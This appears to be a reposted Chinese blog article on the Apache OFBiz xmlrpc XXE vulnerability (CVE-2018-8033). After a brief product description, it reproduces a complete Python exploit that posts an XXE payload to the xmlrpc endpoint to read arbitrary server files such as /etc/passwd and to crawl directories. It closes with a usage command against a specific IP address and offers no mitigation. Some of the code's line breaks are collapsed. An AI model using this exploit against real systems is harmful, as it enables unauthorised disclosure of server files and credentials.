当前位置: 首页 > news >正文

Apache OFBiz xmlrpc XXE漏洞(CVE-2018-8033)

目录

1、漏洞描述

2、EXP下载地址

3、EXP利用


1、漏洞描述

        Apache OFBiz是一套企业资源计划(ERP)系统。它提供了广泛的功能,包括销售、采购、库存、财务、CRM等。 Apache OFBiz还具有灵活的架构和可扩展性,允许用户根据业务需求进行定制和拓展。 Apache OFBiz 是一个用 Java 编写的企业资源规划 (ERP) 系统,它是一个开放源代码、可扩展的企业级应用程序。 OFBiz 旨在为各种规模的企业提供全面的业务管理解决方案。 它包含大量的库、实体、服务和功能,覆盖了企业运营的各个方面,如销售、采购、库存、财务、人力资源等。

2、EXP下载地址

https://github.com/jamieparfet/Apache-OFBiz-XXE/

#!/usr/bin/env python3
# *****************************************************
# Type: XML External Entity Injection (File disclosure)
# Target: Apache OFBiz < 16.11.04
# Author: Jamie Parfet
# *****************************************************
import sys
import os
import requests
import urllib3
import re
import argparseurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)simple_payload = """<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://{}">]>
<methodCall><methodName>xXx
&disclose;xXx</methodName></methodCall>
"""if len(sys.argv) <= 1:print('[*] Apache OFBiz < 16.11.04 XXE')print('[*] Use "%s -h" to display help.' % (sys.argv[0]))exit(0)parser = argparse.ArgumentParser()
parser.add_argument("-u",metavar="https://localhost:8443",dest="url",required=True,help="Target URL (required)",action='store')
parser.add_argument("-f",metavar="/etc/passwd",dest="file",help="Target file",action='store')
parser.add_argument("-c",metavar="/home/",dest="crawl",help="Target directory to start crawling from",action='store')
parser.add_argument("-o",metavar="~/local/output/directory/",dest="output_dir",help="Local directory that remote file will be saved to",action='store')
args = parser.parse_args()
url = args.url if args.url else None
target_file = args.file if args.file else None
crawl_dir = args.crawl if args.crawl else None
output_dir = args.output_dir if args.output_dir else Nonedef check_url(url):if '://' not in url:print('[-] ERROR: Please include protocol in URL, such as https://{}'.format(url))exit(0)else:return urldef request(url, payload):response = requests.post(url + '/webtools/control/xmlrpc', data=payload, verify=False).textparsed_response = re.sub(r'(.*xXx\n|xXx.*)', '', response)return parsed_responsedef crawl(crawl_dir):payload = simple_payload.format(crawl_dir)response = request(url, payload)payload_404 = simple_payload.format(crawl_dir + "/xX404Xx")response_404 = request(url, payload_404)if 'No such file or directory' in response:print("[-] ERROR - 404: {}".format(crawl_dir))elif 'Permission denied' in response or 'but is not accessible' in response:print("[-] ERROR - Permission: {}".format(crawl_dir))elif 'Not a directory' in response_404:print("[*] FILE: {}".format(crawl_dir))else:print("[*] DIR: {}".format(crawl_dir))for f in response.splitlines():full_path = (crawl_dir + '/' + f)crawl(full_path)def main(url=url, target_file=target_file, crawl_dir=crawl_dir, output_dir=output_dir):if url:check_url(url)if crawl_dir:crawl(crawl_dir)else:payload = simple_payload.format(target_file)if output_dir:if os.path.isdir(output_dir):result = request(url, payload)remote_file_name = re.sub('/', '--', target_file)output_file = (output_dir + '/' + remote_file_name[2:])file = open(output_file, 'w')file.write(result)file.close()else:print("[-] ERROR: {} is not a writeable directory".format(output_dir))else:result = request(url, payload)print(result)if __name__ == '__main__':try:main()except KeyboardInterrupt:print('\nKeyboard interrupt detected.')print('Exiting...')exit(0)

3、EXP利用

F:\>python cve_2018_8033.py -u http://193.168.0.45:28703/ -f /tmp
http://www.lryc.cn/news/491945.html

相关文章:

  • 【论文复现】融入模糊规则的宽度神经网络结构
  • sql server 获取当前日期的时间戳
  • LLM PPT Translator
  • 铲屎官进,2024年宠物空气净化器十大排行,看看哪款吸毛最佳?
  • python 中常用的定积分求解方法
  • 音视频相关的一些基本概念
  • pikachu文件上传漏洞通关详解
  • 【拥抱AI】向量数据库有哪些常见的检索算法?
  • Webpack前端工程化进阶系列(二) —— HMR热模块更新(图文+代码)
  • 【RAG 项目实战 07】替换 ConversationalRetrievalChain(单轮问答)
  • godot游戏引擎_瓦片集和瓦片地图介绍
  • 7、深入剖析PyTorch nn.Module源码
  • 如何提升编程能力第二篇
  • 问:SpringBoot核心配置文件都有啥,怎么配?
  • RHCSA作业
  • ESP32学习笔记_FreeRTOS(3)——SoftwareTimer
  • 文心一言与千帆大模型平台的区别:探索百度AI生态的双子星
  • 【c语言】文件操作详解 - 从打开到关闭
  • Flink Sink的使用
  • pcl::PointCloud<PointType>::Ptr extractedCloud; 尖括号里的值表示什么含义?
  • 《基于FPGA的便携式PWM方波信号发生器》论文分析(三)——数码管稳定显示与系统调试
  • VsCode 插件推荐(个人常用)
  • 路由策略与路由控制实验
  • 训练的decoder模型文本长度不一致,一般设置为多大合适,需要覆盖最长的文本长度么
  • 过滤条件包含 OR 谓词,如何进行查询优化——OceanBase SQL 优化实践
  • 通过异步使用消息队列优化秒杀
  • AI产业告别“独奏”时代,“天翼云息壤杯”高校AI大赛奏响产学研“交响乐”
  • Hot100 - 字母异位词分组
  • 力扣hot100-->排序
  • 【VRChat 全身动捕】VIVE 手柄改 tracker 定位器教程,低成本光学动捕解决方案(持续更新中2024.11.26)